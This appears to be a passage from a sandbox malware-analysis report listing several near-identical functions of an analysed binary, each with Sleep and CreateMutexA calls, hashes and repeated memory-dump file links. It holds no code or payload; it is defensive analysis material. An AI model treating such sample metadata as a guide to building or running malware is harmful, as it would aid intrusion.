Instruction ID: 4e265b2b107d6eabb4b5df9d03d11c6be920e3c5c0641bcc2edef3599abac49d
Opcode Fuzzy Hash: cd485ae8c1726dc1399cbb677f07414967cc31aed56525a17aa7510862d8fe02
Instruction Fuzzy Hash: AF314C717001089BFB089BB8ECC57BDB7A2EB96310F248259F218D73D1C77659808762

Function 00AFA079 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00AFA963
CreateMutexA.KERNEL32(00000000,00000000,00B53254), ref: 00AFA981

Strings

jj, xrefs: 00AFA97D

Memory Dump Source

Source File: 00000000.00000002.2071967842.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2071954133.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071967842.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072024234.0000000000B59000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072039367.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072054404.0000000000B65000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072073515.0000000000B66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072091547.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072251700.0000000000CC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072268276.0000000000CC8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072288373.0000000000CD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072417572.0000000000CD7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072631592.0000000000CDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072631592.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072695119.0000000000CEB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072712471.0000000000CEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072730522.0000000000CF6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072745182.0000000000CF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072766723.0000000000CF9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072783401.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072804573.0000000000D13000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072910170.0000000000D14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073007168.0000000000D1C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073129660.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073289626.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073386569.0000000000D40000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073570716.0000000000D48000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073678978.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073777948.0000000000D53000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073917121.0000000000D58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074042059.0000000000D60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074408252.0000000000D62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074648473.0000000000D6E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074706479.0000000000D75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074724042.0000000000D7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074739148.0000000000D80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074754790.0000000000D8C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074772255.0000000000D8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074789670.0000000000D99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074806895.0000000000D9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074806895.0000000000DBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074849488.0000000000DE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074867573.0000000000DE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074883950.0000000000DEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074904498.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074922208.0000000000DF0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074941798.0000000000DFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074960325.0000000000DFF000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: jj
API String ID: 1464230837-138750426
Opcode ID: 08c40d750bb7e635723a15f62a17f186071dea47025c2d9be886ea0a3795d437
Instruction ID: aabcee7ad8349fa8942f794114ee42305e06820eff3b63b1d10c3ebed55a8ebd
Opcode Fuzzy Hash: 08c40d750bb7e635723a15f62a17f186071dea47025c2d9be886ea0a3795d437
Instruction Fuzzy Hash: D8314C717002089BEB089BF8ECC57BDB7B2DB96314F248369F218973D5C77659808726

Function 00AFA1AE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00AFA963
CreateMutexA.KERNEL32(00000000,00000000,00B53254), ref: 00AFA981

Strings

jj, xrefs: 00AFA97D

Memory Dump Source

Source File: 00000000.00000002.2071967842.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2071954133.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071967842.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072024234.0000000000B59000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072039367.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072054404.0000000000B65000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072073515.0000000000B66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072091547.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072251700.0000000000CC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072268276.0000000000CC8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072288373.0000000000CD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072417572.0000000000CD7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072631592.0000000000CDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072631592.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072695119.0000000000CEB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072712471.0000000000CEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072730522.0000000000CF6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072745182.0000000000CF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072766723.0000000000CF9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072783401.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072804573.0000000000D13000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072910170.0000000000D14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073007168.0000000000D1C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073129660.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073289626.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073386569.0000000000D40000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073570716.0000000000D48000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073678978.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073777948.0000000000D53000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073917121.0000000000D58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074042059.0000000000D60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074408252.0000000000D62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074648473.0000000000D6E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074706479.0000000000D75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074724042.0000000000D7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074739148.0000000000D80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074754790.0000000000D8C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074772255.0000000000D8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074789670.0000000000D99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074806895.0000000000D9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074806895.0000000000DBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074849488.0000000000DE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074867573.0000000000DE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074883950.0000000000DEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074904498.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074922208.0000000000DF0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074941798.0000000000DFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074960325.0000000000DFF000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: jj
API String ID: 1464230837-138750426
Opcode ID: e0503552a2c2658674c824b5a1ba6ada785d1d185b1cfa213bf06d2d3572f668
Instruction ID: d8dbb089040e6fcf7598ac5eac37ad143b09feeed8b4fa494d21d940a89c9cd1
Opcode Fuzzy Hash: e0503552a2c2658674c824b5a1ba6ada785d1d185b1cfa213bf06d2d3572f668
Instruction Fuzzy Hash: 54311A717002449BFB089BE8ECC97FDB7B6EB96310F248269F218973D1D77659808722

Function 00AFA418 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00AFA963
CreateMutexA.KERNEL32(00000000,00000000,00B53254), ref: 00AFA981

Strings

jj, xrefs: 00AFA97D

Memory Dump Source

Source File: 00000000.00000002.2071967842.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2071954133.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071967842.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072024234.0000000000B59000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072039367.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072054404.0000000000B65000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072073515.0000000000B66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072091547.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072251700.0000000000CC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072268276.0000000000CC8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072288373.0000000000CD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072417572.0000000000CD7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072631592.0000000000CDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072631592.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072695119.0000000000CEB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072712471.0000000000CEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072730522.0000000000CF6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072745182.0000000000CF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072766723.0000000000CF9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072783401.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072804573.0000000000D13000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072910170.0000000000D14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073007168.0000000000D1C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073129660.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073289626.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073386569.0000000000D40000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073570716.0000000000D48000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073678978.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073777948.0000000000D53000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073917121.0000000000D58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074042059.0000000000D60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074408252.0000000000D62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074648473.0000000000D6E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074706479.0000000000D75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074724042.0000000000D7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074739148.0000000000D80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074754790.0000000000D8C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074772255.0000000000D8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074789670.0000000000D99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074806895.0000000000D9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074806895.0000000000DBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074849488.0000000000DE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074867573.0000000000DE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074883950.0000000000DEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074904498.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074922208.0000000000DF0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074941798.0000000000DFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074960325.0000000000DFF000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: jj
API String ID: 1464230837-138750426
Opcode ID: 422cc11865cdd2bb94ad2771076abfb562153acfbca8026c6049a78504dc3226
Instruction ID: 511434c785c15912d6fb70a56d2d673353c95eb3dbd800ed121636b92ce064ea
Opcode Fuzzy Hash: 422cc11865cdd2bb94ad2771076abfb562153acfbca8026c6049a78504dc3226
Instruction Fuzzy Hash: 0F311E717002049BEB089BF8E8C97BDB7B1DFD6315F248258F218973D5D7B559808662

Function 00AFA54D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00AFA963
CreateMutexA.KERNEL32(00000000,00000000,00B53254), ref: 00AFA981

Strings

jj, xrefs: 00AFA97D

Memory Dump Source

Source File: 00000000.00000002.2071967842.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2071954133.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071967842.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072024234.0000000000B59000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072039367.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072054404.0000000000B65000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072073515.0000000000B66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072091547.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072251700.0000000000CC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072268276.0000000000CC8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072288373.0000000000CD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072417572.0000000000CD7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072631592.0000000000CDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072631592.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072695119.0000000000CEB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072712471.0000000000CEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072730522.0000000000CF6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072745182.0000000000CF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072766723.0000000000CF9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072783401.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072804573.0000000000D13000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072910170.0000000000D14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073007168.0000000000D1C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073129660.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073289626.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073386569.0000000000D40000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073570716.0000000000D48000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073678978.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073777948.0000000000D53000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073917121.0000000000D58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074042059.0000000000D60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074408252.0000000000D62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074648473.0000000000D6E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074706479.0000000000D75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074724042.0000000000D7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074739148.0000000000D80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074754790.0000000000D8C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074772255.0000000000D8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074789670.0000000000D99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074806895.0000000000D9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074806895.0000000000DBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074849488.0000000000DE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074867573.0000000000DE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074883950.0000000000DEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074904498.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074922208.0000000000DF0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074941798.0000000000DFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074960325.0000000000DFF000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: jj
API String ID: 1464230837-138750426
Opcode ID: 6784de4bdc6671e257ac655953183f7e5149f398bf4ed3adb6cbfc35b7f3cf29
Instruction ID: 95920e1d3b75a00f9147cf77bc9dd161b98ae1a5ad20f1ff8e6b66d9a0d0b391
Opcode Fuzzy Hash: 6784de4bdc6671e257ac655953183f7e5149f398bf4ed3adb6cbfc35b7f3cf29
Instruction Fuzzy Hash: 3A3109717001089BEB189BF8ECC57BDBBA1DBD6314F248258F6189B3D5C77599808762

Function 00AFA682 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00AFA963
CreateMutexA.KERNEL32(00000000,00000000,00B53254), ref: 00AFA981

Strings

jj, xrefs: 00AFA97D

Memory Dump Source

Source File: 00000000.00000002.2071967842.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2071954133.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071967842.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072024234.0000000000B59000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072039367.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072054404.0000000000B65000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072073515.0000000000B66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072091547.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072251700.0000000000CC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072268276.0000000000CC8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072288373.0000000000CD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072417572.0000000000CD7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072631592.0000000000CDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072631592.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072695119.0000000000CEB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072712471.0000000000CEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072730522.0000000000CF6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072745182.0000000000CF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072766723.0000000000CF9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072783401.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072804573.0000000000D13000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072910170.0000000000D14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073007168.0000000000D1C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073129660.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073289626.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073386569.0000000000D40000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073570716.0000000000D48000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073678978.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073777948.0000000000D53000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073917121.0000000000D58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074042059.0000000000D60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074408252.0000000000D62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074648473.0000000000D6E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074706479.0000000000D75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074724042.0000000000D7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074739148.0000000000D80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074754790.0000000000D8C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074772255.0000000000D8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074789670.0000000000D99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074806895.0000000000D9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074806895.0000000000DBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074849488.0000000000DE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074867573.0000000000DE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074883950.0000000000DEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074904498.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074922208.0000000000DF0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074941798.0000000000DFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074960325.0000000000DFF000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: jj
API String ID: 1464230837-138750426
Opcode ID: 027ddd1e5f81b0060b3a44561adc2058fd5f270c9ee552c3d6393a60b8f09459
Instruction ID: 0763ca5dbe5574db642ebfdfd0adf8414f244beafd6e1bdb6b28f314eaa7bfe7
